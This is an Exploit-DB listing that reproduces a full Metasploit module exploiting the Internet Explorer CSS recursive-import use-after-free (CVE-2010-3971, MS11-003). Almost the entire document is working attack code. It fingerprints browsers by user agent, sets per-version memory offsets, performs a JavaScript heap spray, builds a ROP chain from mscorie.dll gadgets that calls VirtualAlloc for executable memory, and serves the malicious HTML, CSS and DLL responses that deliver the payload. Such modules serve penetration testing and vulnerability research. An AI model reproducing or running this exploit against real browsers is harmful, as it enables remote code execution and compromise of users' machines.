标题: Microsoft Internet Explorer - CSS Recursive Import Use-After-Free (MS11-003) (Metasploit) EDB-ID: 16533 CVE: 2010-3971 类型: REMOTE 平台: WINDOWS 发布日期: 2011-02-08 漏洞利用脚本: ##
# $Id: ms11_003_ie_css_import.rb 11730 2011-02-08 23:31:44Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking # Need more love for Great

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::Remote::BrowserAutopwn
 autopwn_info({
  :ua_name    => HttpClients::IE,
  :ua_minver  => "7.0", # Should be 6
  :ua_maxver  => "8.0",
  :javascript => true,
  :os_name    => OperatingSystems::WINDOWS,
  :vuln_test  => nil, # no way to test without just trying it
 })

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Internet Explorer CSS Recursive Import Use After Free',
   'Description'    => %q{
     This module exploits a memory corruption vulnerability within Microsoft\'s
    HTML engine (mshtml). When parsing an HTML page containing a recursive CSS
    import, a C++ object is deleted and later reused. This leads to arbitrary
    code execution.

    This exploit utilizes a combination of heap spraying and the
    .NET 2.0 'mscorie.dll' module to bypass DEP and ASLR. This module does not
    opt-in to ASLR. As such, this module should be reliable on all Windows
    versions with .NET 2.0.50727 installed.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'passerby',       # Initial discovery / report
     'd0c_s4vage',     # First working public exploit
     'jduck'           # Metasploit module (ROP, @WTFuzz spray)
    ],
   'Version'        => '$Revision: 11730 $',
   'References'     =>
    [
     [ 'CVE', '2010-3971' ],
     [ 'OSVDB', '69796' ],
     [ 'BID', '45246' ],
     [ 'URL', 'http://www.microsoft.com/technet/security/advisory/2488013.mspx' ],
     [ 'URL', 'http://www.wooyun.org/bugs/wooyun-2010-0885' ],
     [ 'URL', 'http://seclists.org/fulldisclosure/2010/Dec/110' ],
     [ 'URL', 'http://xcon.xfocus.net/XCon2010_ChenXie_EN.pdf' ],  # .NET 2.0 ROP (slide 25)
     [ 'URL', 'http://www.breakingpointsystems.com/community/blog/ie-vulnerability/' ],
     [ 'MSB', 'MS11-003' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'InitialAutoRunScript' => 'migrate -f',
    },
   'Payload'        =>
    {
     'Space'         => 1024,
     'BadChars'      => "\x00",
     'DisableNops'   => true
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic', { } ],

     [ 'Internet Explorer 8',
      {
       'Ret' => 0x105ae020,
       'OnePtrOff' => 0x18,
       'DerefOff' => 0x30,
       'FlagOff' => 0x54,
       'CallDeref1' => 0x20,
       'SignedOff' => 0x1c,
       'CallDeref2' => 0x24,
       'CallDeref3' => 0x00,
       'CallDeref4' => 0x20,
       'Deref4Off' => 0x08
      }
     ],

     [ 'Internet Explorer 7',
      {
       'Ret' => 0x105ae020,
       'OnePtrOff' => 0x14,
       'DerefOff' => 0x5c,
       'FlagOff' => 0x34,
       'CallDeref1' => 0x1c,
       'SignedOff' => 0x18,
       'CallDeref2' => 0x20,
       'CallDeref3' => 0x00,
       'CallDeref4' => 0x20,
       'Deref4Off' => 0x08
      }
     ],

     # For now, treat the IE6 target the same as teh debug target.
     [ 'Internet Explorer 6',
      {
       'Ret' => 0xc0c0c0c0,
       'OnePtrOff' => 0x14,
       'DerefOff' => 0x5c,
       'FlagOff' => 0x34,
       'CallDeref1' => 0x1c,
       'SignedOff' => 0x18,
       'CallDeref2' => 0x20,
       'CallDeref3' => 0x00,
       'CallDeref4' => 0x20,
       'Deref4Off' => 0x08
      }
     ],

     [ 'Debug Target (Crash)',
      {
       'Ret' => 0xc0c0c0c0,
       'OnePtrOff' => 0,
       'DerefOff' => 4,
       'FlagOff' => 8,
       'CallDeref1' => 0xc,
       'SignedOff' => 0x10,
       'CallDeref2' => 0x14,
       'CallDeref3' => 0x18,
       'CallDeref4' => 0x1c,
       'Deref4Off' => 0x20
      }
     ]
    ],
   # Full-disclosure post was Dec 8th, original blog Nov 29th
   'DisclosureDate' => 'Nov 29 2010',
   'DefaultTarget'  => 0))
 end


 def auto_target(cli, request)
  mytarget = nil

  agent = request.headers['User-Agent']
  #print_status("Checking user agent: #{agent}")
  if agent !~ /\.NET CLR 2\.0\.50727/
   print_error("#{cli.peerhost}:#{cli.peerport} Target machine does not have the .NET CLR 2.0.50727")
   return nil
  end

  if agent =~ /MSIE 6\.0/
   mytarget = targets[3]
  elsif agent =~ /MSIE 7\.0/
   mytarget = targets[2]
  elsif agent =~ /MSIE 8\.0/
   mytarget = targets[1]
  else
   print_error("#{cli.peerhost}:#{cli.peerport} Unknown User-Agent #{agent}")
  end
  mytarget
 end


 def on_request_uri(cli, request)

  print_status("#{cli.peerhost}:#{cli.peerport} Received request for %s" % request.uri.inspect)

  mytarget = target
  if target.name == 'Automatic'
   mytarget = auto_target(cli, request)
   if (not mytarget)
    send_not_found(cli)
    return
   end
  end

  #print_status("#{cli.peerhost}:#{cli.peerport} Automatically selected target: #{mytarget.name}")

  buf_addr = mytarget.ret
  css_name = [buf_addr].pack('V') * (16 / 4)

  # We stick in a placeholder string to replace after UTF-16 encoding
  placeholder = "a" * (css_name.length / 2)
  uni_placeholder = Rex::Text.to_unicode(placeholder)

  if request.uri == get_resource() or request.uri =~ /\/$/
   print_status("#{cli.peerhost}:#{cli.peerport} Sending #{self.refname} redirect")

   redir = get_resource()
   redir << '/' if redir[-1,1] != '/'
   redir << rand_text_alphanumeric(4+rand(4))
   redir << '.html'
   send_redirect(cli, redir)

  elsif request.uri =~ /\.html?$/
   # Re-generate the payload
   return if ((p = regenerate_payload(cli)) == nil)

   print_status("#{cli.peerhost}:#{cli.peerport} Sending #{self.refname} HTML")

   # Generate the ROP payload
   rvas = rvas_mscorie_v2()
   rop_stack = generate_rop(buf_addr, rvas)
   fix_esp = rva2addr(rvas, 'leave / ret')
   ret     = rva2addr(rvas, 'ret')
   pivot1  = rva2addr(rvas, 'call [ecx+4] / xor eax, eax / pop ebp / ret 8')
   pivot2  = rva2addr(rvas, 'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret')

   # Append the payload to the rop_stack
   rop_stack << p.encoded

   # Build the deref-fest buffer
   len = 0x84 + rop_stack.length
   special_sauce = rand_text_alpha(len)

   # This ptr + off must contain 0x00000001
   special_sauce[mytarget['OnePtrOff'], 4] = [1].pack('V')

   # Pointer that is dereferenced to get the flag
   special_sauce[mytarget['DerefOff'], 4] = [buf_addr].pack('V')

   # Low byte must not have bit 1 set
   no_bit1 = rand(0xff) & ~2
   special_sauce[mytarget['FlagOff'], 1] = [no_bit1].pack('V')

   # These are deref'd to figure out what to call
   special_sauce[mytarget['CallDeref1'], 4] = [buf_addr].pack('V')
   special_sauce[mytarget['CallDeref2'], 4] = [buf_addr].pack('V')
   special_sauce[mytarget['CallDeref3'], 4] = [buf_addr + mytarget['Deref4Off']].pack('V')
   # Finally, this one becomes eip
   special_sauce[mytarget['CallDeref4'] + mytarget['Deref4Off'], 4] = [pivot1].pack('V')

   # This byte must be signed (shorter path to flow control)
   signed_byte = rand(0xff) | 0x80
   special_sauce[mytarget['SignedOff'], 1] = [signed_byte].pack('C')

   # These offsets become a fix_esp ret chain ..
   special_sauce[0x04, 4] = [pivot2].pack('V')    # part two of our stack pivot!
   special_sauce[0x0c, 4] = [buf_addr + 0x84 - 4].pack('V')  # becomes ebp, for fix esp
   special_sauce[0x10, 4] = [fix_esp].pack('V')   # our stack pivot ret's to this (fix_esp, from eax)

   # Add in the rest of the ROP stack
   special_sauce[0x84, rop_stack.length] = rop_stack

   # Format for javascript use
   special_sauce = Rex::Text.to_unescape(special_sauce)

   js_function  = rand_text_alpha(rand(100)+1)

   # Construct the javascript
   custom_js = <<-EOS
function #{js_function}() {
heap = new heapLib.ie(0x20000);
var heapspray = unescape("#{special_sauce}");
while(heapspray.length < 0x1000) heapspray += unescape("%u4444");
var heapblock = heapspray;
while(heapblock.length < 0x40000) heapblock += heapblock;
finalspray = heapblock.substring(2, 0x40000 - 0x21);
for(var counter = 0; counter < 500; counter++) { heap.alloc(finalspray); }
var vlink = document.createElement("link");
vlink.setAttribute("rel", "Stylesheet");
vlink.setAttribute("type", "text/css");
vlink.setAttribute("href", "#{placeholder}")
document.getElementsByTagName("head")[0].appendChild(vlink);
}
EOS
   opts = {
    'Symbols' => {
     'Variables' => %w{ heapspray vlink heapblock heap finalspray counter },
     'Methods'   => %w{ prepare }
    }
   }
   custom_js = ::Rex::Exploitation::ObfuscateJS.new(custom_js, opts)
   js = heaplib(custom_js)

   dll_uri = get_resource()
   dll_uri << '/' if dll_uri[-1,1] != '/'
   dll_uri << "generic-" + Time.now.to_i.to_s + ".dll"

   # Construct the final page
   html = <<-EOS
<html>
<head>
<script language='javascript'>
#{js}
</script>
</head>
<body onload='#{js_function}()'>
<object classid="#{dll_uri}#GenericControl">
</body>
</html>
EOS
   html = "\xff\xfe" + Rex::Text.to_unicode(html)
   html.gsub!(uni_placeholder, css_name)

   send_response(cli, html, { 'Content-Type' => 'text/html' })

  elsif request.uri =~ /\.dll$/
   print_status("#{cli.peerhost}:#{cli.peerport} Sending #{self.refname} .NET DLL")

   # Generate a .NET v2.0 DLL, note that it doesn't really matter what this contains since we don't actually
   # use it's contents ...
   ibase = (0x2000 | rand(0x8000)) << 16
   dll = Msf::Util::EXE.to_dotnetmem(ibase, rand_text(16))

   # Send a .NET v2.0 DLL down
   send_response(cli, dll,
    {
     'Content-Type' => 'application/x-msdownload',
     'Connection'   => 'close',
     'Pragma'       => 'no-cache'
    })

  else
   # Defines two different CSS import styles
   import_styles = [
    "@import url(\"#{placeholder}\");\n",
    "@import \"#{placeholder}\";\n"
   ]

   # Choose four imports of random style
   css = ''
   4.times {
    css << import_styles[rand(import_styles.length)]
   }

   css = "\xff\xfe" + Rex::Text.to_unicode(css)
   css.gsub!(uni_placeholder, css_name)

   print_status("#{cli.peerhost}:#{cli.peerport} Sending #{self.refname} CSS")

   send_response(cli, css, { 'Content-Type' => 'text/css' })

  end

  # Handle the payload
  handler(cli)

 end

 def rvas_mscorie_v2()
  # mscorie.dll version v2.0.50727.3053
  # Just return this hash
  {
   'call [ecx+4] / xor eax, eax / pop ebp / ret 8' => 0x237e,
   'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret' => 0x575b,
   'leave / ret'            => 0x25e5,
   'ret'                    => 0x25e5+1,
   'call [ecx] / pop ebp / ret 0xc' => 0x1ec4,
   'pop eax / ret'          => 0x5ba1,
   'pop ebx / ret'          => 0x54c0,
   'pop ecx / ret'          => 0x1e13,
   'pop esi / ret'          => 0x1d9a,
   'pop edi / ret'          => 0x2212,
   'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc' => 0x61f6,
   'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret' => 0x6154,
  }
 end

 def generate_rop(buf_addr, rvas)
  # ROP fun! (XP SP3 English, Dec 15 2010)
  rvas.merge!({
   # Instructions / Name    => RVA
   'BaseAddress'            => 0x63f00000,
   'imp_VirtualAlloc'       => 0x10f4
  })

  rop_stack = [
   # Allocate an RWX memory segment
   'pop ecx / ret',
   'imp_VirtualAlloc',

   'call [ecx] / pop ebp / ret 0xc',
   0,         # lpAddress
   0x1000,    # dwSize
   0x3000,    # flAllocationType
   0x40,      # flProt
   :unused,

   # Copy the original payload
   'pop ecx / ret',
   :unused,
   :unused,
   :unused,
   :memcpy_dst,

   'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc',
   :unused,
   
   'pop esi / ret',
   :unused,
   :unused,
   :unused,
   :memcpy_src,

   'pop edi / ret',
   0xdeadf00d # to be filled in above
  ]
  (0x200 / 4).times {
   rop_stack << 'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret'
  }
  # Execute the payload ;)
  rop_stack << 'call [ecx] / pop ebp / ret 0xc'

  rop_stack.map! { |e|
   if e.kind_of? String
    # Meta-replace (RVA)
    raise RuntimeError, "Unable to locate key: \"#{e}\"" if not rvas[e]
    rvas['BaseAddress'] + rvas[e]

   elsif e == :unused
    # Randomize
    rand_text(4).unpack('V').first

   elsif e == :memcpy_src
    # Based on stack length..
    buf_addr + 0x84 + (rop_stack.length * 4)

   elsif e == :memcpy_dst
    # Store our new memory ptr into our buffer for later popping :)
    buf_addr + 0x84 + (21 * 4)

   else
    # Literal
    e
   end
  }

  rop_stack.pack('V*')
 end

 def rva2addr(rvas, key)
  raise RuntimeError, "Unable to locate key: \"#{key}\"" if not rvas[key]
  rvas['BaseAddress'] + rvas[key]
 end

end URL: https://www.exploit-db.com/exploits/16533